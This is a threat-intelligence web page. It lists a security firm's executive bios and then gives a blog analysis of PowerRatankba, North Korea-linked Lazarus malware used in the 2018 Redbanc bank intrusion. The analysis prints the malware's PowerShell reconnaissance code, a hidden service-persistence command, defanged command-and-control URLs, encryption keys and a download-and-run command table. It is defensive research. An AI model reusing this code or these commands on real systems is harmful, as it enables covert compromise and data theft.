Josh Lefkowitz
Chief Executive Officer
Josh Lefkowitz executes the company’s strategic vision to empower organizations with Business Risk Intelligence (BRI). He has worked extensively with authorities to track and analyze terrorist groups. Mr. Lefkowitz also served as a consultant to the FBI’s senior management team and worked for a top tier, global investment bank. Mr. Lefkowitz holds an MBA from Harvard University and a BA from Williams College.
Evan Kohlmann
Chief Innovation Officer
Evan Kohlmann focuses on product innovation at Flashpoint where he leverages fifteen years’ experience tracking Al-Qaida, ISIS, and other terrorist groups. He has consulted for the US Department of Defense, the US Department of Justice, the Australian Federal Police, and Scotland Yard’s Counter Terrorism Command, among others. Mr. Kohlmann holds a JD from the Univ. of Pennsylvania Law School and a BSFS in International Politics from the Walsh School of Foreign Service at Georgetown Univ.
Josh Devon
Chief Operating Officer / VP Product
Josh Devon focuses on product vision and strategy at Flashpoint while ensuring the company’s departments function synergistically during its rapid growth. He also works to ensure that customers receive best in class products, services, and support. Previously, Mr. Devon co-founded the SITE Intelligence Group where he served as Assistant Director. He holds an MA from SAIS at Johns Hopkins Univ. At the Univ. of Pennsylvania, he received a BS in Economics from the Wharton School and a BA in English from the College of Arts and Sciences.
Jennifer Leggio
Chief Marketing Officer / VP Operations
Jennifer Leggio is responsible for Flashpoint’s marketing, customer acquisition, and operations. Ms. Leggio has more than 20 years of experience driving marketing, communications and go-to-market strategies in the cybersecurity industry. She’s previously held senior leadership roles at Digital Shadows, Cisco, Sourcefire, and Fortinet. She’s been a contributor to Forbes and ZDNet, and has spoken on the importance of coordinated disclosure at DEF CON and Hack in the Box, and on threat actor “publicity” trends at RSA Conference, Gartner Security Summit, and SXSW Interactive.
Chris Camacho
Chief Strategy Officer
Chris Camacho leads the company’s client engagement and development team, which includes customer success, business development, strategic integrations and the FPCollab sharing community. With over 15 years of cybersecurity leadership experience, he has spearheaded initiatives across Operational Strategy, Incident Response, Threat Management, and Security Operations to ensure cyber risk postures align with business goals. Most recently as a Senior Vice President of Information Security at Bank of America, Mr. Camacho was responsible for overseeing the Threat Management Program. An entrepreneur, Mr. Camacho also serves as CEO for NinjaJobs: a career-matching community for elite cybersecurity talent. He has a BS in Decision Sciences & Management of Information Systems from George Mason University.
Lisa Iadanza
Chief People Officer
Lisa M. Iadanza leads all functional areas of People Operations at Flashpoint, including human resources, talent acquisition & management, employee engagement, and developing high performance teams. In addition to collaborating with the executive team to drive strategic growth, she plays an integral role in fostering Flashpoint’s culture and mission. Driven by her passions for mentorship, employee advocacy, and talent development, Ms. Iadanza has more than twenty years of experience in building, scaling, and leading human resources functions. Prior to Flashpoint, she held leadership roles at Conde Nast, Terra Technology, and FreeWheel. She is a member of the Society for Human Resources Management (SHRM) and holds a bachelor’s degree in management with concentrations in human resources and marketing from State University of New York at Binghamton.
Rob Reznick
VP of Finance and Corporate Development
Rob Reznick leads the finance, accounting, and corporate development teams at Flashpoint. Rob previously served as Director of Finance & Accounting for 1010data (acquired by Advance/Newhouse), and Director of Finance for Financial Guard (acquired by Legg Mason) after prior work in forensic accounting and dispute consulting. Mr. Reznick is a Certified Public Accountant and holds an MBA and MAcc from the Fisher College of Business at the Ohio State University, and a BBA from the Ross School of Business at the University of Michigan.
Lance James
Chief Scientist / VP Engineering
Lance James is responsible for leading Flashpoint’s technology development. Prior to joining Flashpoint in 2015, he was the Head of Cyber Intelligence at Deloitte & Touche LLP. Mr. James has been an active member of the security community for over 20 years and enjoys working creatively together with technology teams to design and develop impactful solutions that disrupt online threats.
Brian Costello
SVP Global Sales and Solution Architecture
Brian Costello, a 20-year information technology and security solutions veteran, is responsible for leading the Global Sales, Solution Architecture, and Professional Services teams at Flashpoint. Throughout his career, Brian has successfully built security and cloud teams that have provided customers with innovative technology solutions, exceeded targets and consistently grown business year over year. Prior to Flashpoint, Brian led a global security and cloud vertical practice for Verizon. Brian also held senior leadership roles at Invincea, Risk Analytics and Cybertrust. Brian received his B.A. from George Mason University.
Tom Hofmann
VP Intelligence
Tom Hofmann leads the intelligence directorate that is responsible for the collection, analysis, production, and dissemination of Deep and Dark Web data. He works closely with clients to prioritize their intelligence requirements and ensures internal Flashpoint operations are aligned to those needs. Mr. Hofmann has been at the forefront of cyber intelligence operations in the commercial, government, and military sectors, and is renowned for his ability to drive effective intelligence operations to support offensive and defensive network operations.
Jake Wells
VP, Client Engagement & Development
Jake Wells leads strategic integrations and information sharing as part of the client engagement & development team, which serves as an internal advocate for our government and commercial clients to ensure Flashpoint’s intelligence solutions meet their evolving needs. He leverages a decade of experience running cyber and counterterrorism investigations, most recently with the NYPD Intelligence Bureau, to maximize the value customers generate from our products and services. Mr. Wells holds an MA from Columbia University and a BA from Emory University.
Brian Brown
VP Business Development
Brian Brown is responsible for the overall direction of strategic sales and development supporting Flashpoint’s largest clients. In his role, Mr. Brown focuses on designing and executing growth-oriented sales penetration strategies across multiple vertical markets, including both Government and Commercial, supporting Flashpoint’s Sales and Business Development Teams. An experienced entrepreneur, Mr. Brown also serves as CSO for NinjaJobs, a private community created to match elite cybersecurity talent with top tier global jobs and also advise growth-stage cybersecurity companies.
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Disclosure of Chilean Redbanc Intrusion Leads to Lazarus Ties

January 15, 2019

By Vitali Kremez

Flashpoint analysts believe that the recently disclosed intrusion suffered in December 2018 by Chilean interbank network Redbanc involved PowerRatankba, a malware toolkit with ties to North Korea-linked advanced persistent threat (APT) group Lazarus. Redbanc confirmed that the malware was installed on the company’s corporate network without triggering antivirus detection, however the threat has since been mitigated and did not impact company operations, services, or infrastructure.

This intrusion represents the latest known example of Lazarus-affiliated tools being deployed within financially motivated activity targeted toward financial institutions in Latin America.

Chilean Redbanc Intrusion: Reported Initial Attack Vector

According to recent reporting, the intrusion occurred due to malware delivered via a trusted Redbanc IT professional who clicked to apply to a job opening found through social media. The individual who appeared to have posted the open position then contacted the applicant from Redbanc to arrange a brief interview, which occurred shortly thereafter in Spanish via Skype. Having never expressed any doubts about the legitimacy of the open position, application, or interview process, the applicant was ultimately and unwittingly tricked into executing the payload.

Referenced Sample Leads to North-Koream Lazarus “PowerRatankba”

In the publicly referenced samples attributed to the Redbanc intrusion, Flashpoint analysts identified the dropper sample as being related to the Lazarus malware PowerRatankba. The dropper is a Microsoft Visual C#/ Basic .NET (v4.0.30319)-compiled executable that contains the logic to call the server and download a PowerRatankba PowerShell reconnaissance tool. The malware timestamp displays the possible compilation time of Wednesday, October 31, 2018, 00:07:53 UTC with the program database as F:\05.GenereatePDF\CardOffer\salary\salary\obj\Release\ApplicationPDF.pdb.

The dropper displays a fake job application form while downloading and executing PowerRatankba. The payload was not available from the server during the time of the analysis but was recovered from the sandbox at the time of analysis. This allowed analysts to create a likely scenario of how the malware chain worked.

Image 1: The dropper malware is disguised as a legitimate software for job applications.

The malware functions responsible for execution are contained within the ThreadProc and SendUrl functions, processing Base64-encoded parameters and executing the PowerRatankba code.

Image 2: ThreadProc decodes the Base64-encoded values and executes the PowerShell script.

The dropper decodes the Base64-encoded parameters, calls the server at hxxps://ecombox[.]store/tbl_add[.]php and executes the PowerShell code saved in C:\\users\\public\\REG_TIME.ps1 via a hidden Window, sleeping for 5,000 milliseconds before deleting the saved PowerShell script.

PowerRatankba In-Depth

The malware chain leverages another PowerShell decoder script to recreate the PowerRatankba PowerShell code via “crypt_do” function leveraging Base64, Rijndael with SHA256. The passed password is “PowershellAgent.”

Image 3: The malware leverages the intermediary PowerShell decoder to obtain the PowerRatankba.

According to researchers at Proofpoint, PowerRatankba is a newer reconnaissance and downloader implant tool leveraged by Lazarus to fingerprint and obtain information about compromised machines. The URI structure and the malware resemble the one described as “PowerRatankba.B” by Proofpoint, as they have the same DES encryption algorithm amongst other code template similarities. One difference for this PowerRatankba variant is it communicates to the server on HTTPS. Notably, the malware template contains the commented out base server hxxps://bodyshoppechiropractic[.]com.

Image 4: The PowerRatankba template includes the main installation variables and setup.

The main available actions are as follows:


The malware leverages Windows Management Instrumentation (WMI) to obtain the victim IP by parsing Win32_NetworkAdapterConfiguration for the IP and MAC address. It is notable that for the victim ID, the malware leverages the MAC address with Base64-encoding, which is passed to action=”What” and encoded one more time via the Base64 algorithm.

PowerRatankba queries the system information for the following details, heavily using WMI for Win32_NetworkAdapterConfiguration and Win32_OperatingSystem. Additionally, the malware retrieves the logged-in user via $env:USERNAME, the process list via tasklist, obtains proxy settings via registry queries, and checks for open file shares (RPC 139, SMB 445) and Remote Desktop Protocol (RDP; 3389) ports, writing to a log if “Open” or “Closed or filtered.”

The full collection of items is performed via the following code excerpt:

wmi = Get-WmiObject -Computer $private:computer -Class Win32_NetworkAdapterConfiguration -ErrorAction SilentlyContinue

$loggedUser = $env:USERNAME
if ($private:wmi = Get-WmiObject -Computer $private:computer -Class Win32_OperatingSystem -ErrorAction SilentlyContinue)

$data.'OS Architecture' = $private:wmi.OSArchitecture
$data.'OS Boot Time' = $private:wmi.ConvertToDateTime($private:wmi.LastBootUpTime)
$data.'OS Language     ' = $private:wmi.OSLanguage
$data.'OS Version' = $private:wmi.Version
$data.'OS Name' = $private:wmi.Caption
$data.'OS Install Date' = $private:wmi.ConvertToDateTime($private:wmi.InstallDate)
$data.'OS Service Pack' = [string]$private:wmi.ServicePackMajorVersion 
$ports = 
'File shares/RPC' = '139'
'File shares' = '445'
'RDP' = '3389'
$data."Port $($ports.$service) ($service)" = 'Open'
$data."Port $($ports.$service) ($service)" = 'Closed or filtered'
$private:socket = $null
$reg2 = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $env:COMPUTERNAME)
$regkey2 = $reg2.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings")
$data.'ProxyEnable' = $regkey2.GetValue('ProxyEnable')
$data.'ProxySetting' = $regkey2.GetValue('ProxyServer')
$global:PROXY_ENABLE = $data.'ProxyEnable'
$global:PROXY_SERVER = $data.'ProxySetting'
$outp = "HOST:" 
= $data.GetEnumerator() 
 Sort-Object 'Name' 
 Format-Table -AutoSize 

The malware checks if it has administrator privileges querying for security identifier (SID) “S-1-5-32-544” and “Enabled group” via whoami /groups, which is a built-in Administrators group.

If it has admin privileges, the PowerRatankba attempts to download the next stage from hxxps://ecombox[.]store/tbl_add[.]php as “c:\windows\temp\REG_WINDEF.ps1 and register it as a service through the “sc create” command as “AutoProtect,” with the “cmd.exe /powershell” command having the “start=Auto” parameter.

The relevant code is as follows:

$ret = Test-Path -Path $schedulePath
$cmdSchedule = 'sc create ' 
 ' binPath= "cmd.exe /c powershell.exe -ep bypass -windowstyle hidden -file '
'" start= Auto'

PowerRatankba sets up an autostart in \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ as WIN_REG.exe.

The malware leverages DES encryption with DES using “PowerShl” as both the key and initialization vector (IV) in Ascii {80 119 114 83 104 101 108 108} and then encodes in Base64.

Command Description
dagent Delete agent (‘taskkill /f /pid’, ‘sc schtasks /delete /tn’)
exagent Modify and replace ps1 and VBS files
ragent Send data to the server, download executable to C:\\Users\\Public\\Documents\\tmp, and run it via PowerShell
kagent Kill
delay Delay execution
panel Parse panel commands (“sdel” and “run”)

The discovered PowerRatankba malware contains helpful “ConsoleLog” output logic designed to debug the application, which is meant to aid the developer to survey the output. The output is stored in the hardcoded c:\windows\temp\tmp0914.tmp location.

The malware outputs the following messages during its execution:

"Start to get base info"
"Generating UDID"
“Generated udid”
"Finish to get base info"
"Check if it is admin"
"Register to Service"
"Register to Start up"
"Sending Baseinfo to server"
"Try again to send baseinfo"
"Start waiting command"

Mitigations & Recommendations

Researchers believe Lazarus (also known as “Lazarus Group,” “Hidden Cobra,” and “Kimsuky”) to be an APT group comprising operators from “Bureau 121” (121국), the cyber warfare division of North Korea’s RGB. The group has been active since at least 2009 and is presumed to operate out of a multitude of international locations. Lazarus appears to have been interested in a variety of sectors and targets in the last eighteen months, but it continues to be one of the most formidable APT groups targeting and exploiting financial institutions. The group has reportedly been involved in a string of bank intrusions impacting institutions all over the world, heavily targeting Latin American financial institutions and cryptocurrency exchanges.

Monitoring and reviewing the incidents related to Lazarus and dissecting the group’s attacks and toolkits across the ATT&CK framework may assist with mitigating the exposure to this threat. Additionally, Lazarus attacks appear to reportedly rely on social media and trusted relationships, which may elevate their abilities to execute and install their payloads. As such, security awareness training—especially that which pertains to social media and social engineering—is also recommended.

Attachments & Downloads

To download the indicators of compromise (IOCs) for the Redbanc PowerRatankba incident, click here for the CSV file and here for the MISP JSON file mapped to ATT&CK framework with Yara signatures.


Special thanks to Casey Brooks of Leidos Cyber for providing valuable support to Flashpoint during this research.


Vitali Kremez

Director of Research

Vitali Kremez is a Director of Research at Flashpoint. He oversees analyst collection efforts and leads a technical team that specializes in researching and investigating complex cyber attacks, network intrusions, data breaches, and hacking incidents. Vitali is a strong believer in responsible disclosure and has helped enterprises and government agencies deliver indictments of many high-profile investigations involving data breaches, network intrusions, ransomware, computer hacking, intellectual property theft, credit card fraud, money laundering, and identity theft. Previously, Vitali enjoyed a rewarding career as a Cybercrime Investigative Analyst for the New York County District Attorney’s Office.
He has earned the majority of certifications available in the information technology, information security, digital forensics, and fraud intelligence fields. A renowned expert, speaker, blogger, and columnist, Vitali has contributed articles to Dark Reading, BusinessReview, and Infosecurity Magazine and is a frequent commentator on cybercrime, hacking incidents, policy, and security.

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